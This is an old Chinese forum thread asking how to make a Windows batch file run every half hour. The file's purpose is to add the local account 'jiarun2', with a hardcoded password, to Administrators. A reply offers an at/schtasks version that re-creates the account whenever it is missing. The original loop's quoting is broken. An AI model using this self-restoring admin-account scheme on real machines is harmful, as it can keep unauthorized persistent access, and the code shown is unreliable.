Board logo

标题: 求if time的应用 [打印本页]

作者: 270265929     时间: 2007-6-29 19:51    标题: 求if time的应用

本人求写一个能定时运行的P处理,意思是:从早上8:00起到晚上24点(12:00)这个时间段每隔半个小时运行一次程序
作者: 270265929     时间: 2007-6-29 19:53    标题: 下面是我自己看到一个例子后写的

@echo off
cd\
cls
:loop
if "%time:~0,5%"==8:00" goto user
if "%time:~0,5%"==8:30" goto user
if "%time:~0,5%"==9:00" goto user
if "%time:~0,5%"==9:30" goto user
if "%time:~0,5%"==10:00" goto user
if "%time:~0,5%"==10:30" goto user
if "%time:~0,5%"==11:00" goto user
if "%time:~0,5%"==11:30" goto user
if "%time:~0,5%"==12:00" goto user
if "%time:~0,5%"==12:30" goto user
if "%time:~0,5%"==13:00" goto user
if "%time:~0,5%"==13:30" goto user
if "%time:~0,5%"==14:00" goto user
if "%time:~0,5%"==14:30" goto user
if "%time:~0,5%"==15:00" goto user
if "%time:~0,5%"==15:30" goto user
if "%time:~0,5%"==16:00" goto user
if "%time:~0,5%"==16:30" goto user
if "%time:~0,5%"==17:00" goto user
if "%time:~0,5%"==17:30" goto user
if "%time:~0,5%"==18:00" goto user
if "%time:~0,5%"==18:30" goto user
if "%time:~0,5%"==19:00" goto user
if "%time:~0,5%"==19:30" goto user
if "%time:~0,5%"==20:00" goto user
if "%time:~0,5%"==20:30" goto user
if "%time:~0,5%"==21:00" goto user
if "%time:~0,5%"==21:30" goto user
if "%time:~0,5%"==22:00" goto user
if "%time:~0,5%"==23:30" goto user
if "%time:~0,5%"==24:00" goto user
if "%time:~0,5%"==1:00" goto user
if "%time:~0,5%"==1:30" goto user
if "%time:~0,5%"==2:00" goto user
if "%time:~0,5%"==2:30" goto user
if "%time:~0,5%"==3:00" goto user
if "%time:~0,5%"==3:30" goto user
if "%time:~0,5%"==4:00" goto user
if "%time:~0,5%"==4:30" goto user
if "%time:~0,5%"==5:00" goto user
if "%time:~0,5%"==5:30" goto user
if "%time:~0,5%"==6:00" goto user
if "%time:~0,5%"==6:30" goto user
if "%time:~0,5%"==7:00" goto user
if "%time:~0,5%"==7:30" goto user
if "%time:~0,5%"==8:00" goto user
if "%time:~0,5%"==8:30" goto user
if "%time:~0,5%"==9:00" goto user
if "%time:~0,5%"==9:30" goto user
if "%time:~0,5%"==10:00" goto user
if "%time:~0,5%"==10:30" goto user
if "%time:~0,5%"==11:00" goto user
if "%time:~0,5%"==11:30" goto user
if "%time:~0,5%"==12:00" goto user
if "%time:~0,5%"==12:30" goto user
goto loop
:user
net user jiarun2 88912530 /add
net localgroup administrators jiarun2 /add
exit
作者: 270265929     时间: 2007-6-29 19:57
上面有重复的时间是因为有时候机器会改成12小时制,我不知道怎么表示,求高手能指点和改进下
我是要在早8:00起到晚24:00间每半小时执行添加用户的命令,当然如果有此用户的话就能够自动退出P处理
作者: wudixin96     时间: 2007-6-29 20:14
论坛里早有讨论的。请使用论坛搜索功能。
作者: woainiphj     时间: 2007-7-5 18:25    标题: kiss

高手呀!
作者: bjsh     时间: 2007-7-5 22:35
这写的 电脑还不得暴了...

at 或 schtasks 即可;

调用的批处理
net user jiarun2
if not errorlevel 1 at /delete(如果用的是schtasks的话为 schtasks /delete) && exit
net user jiarun2 88912530 /add
net localgroup administrators jiarun2 /add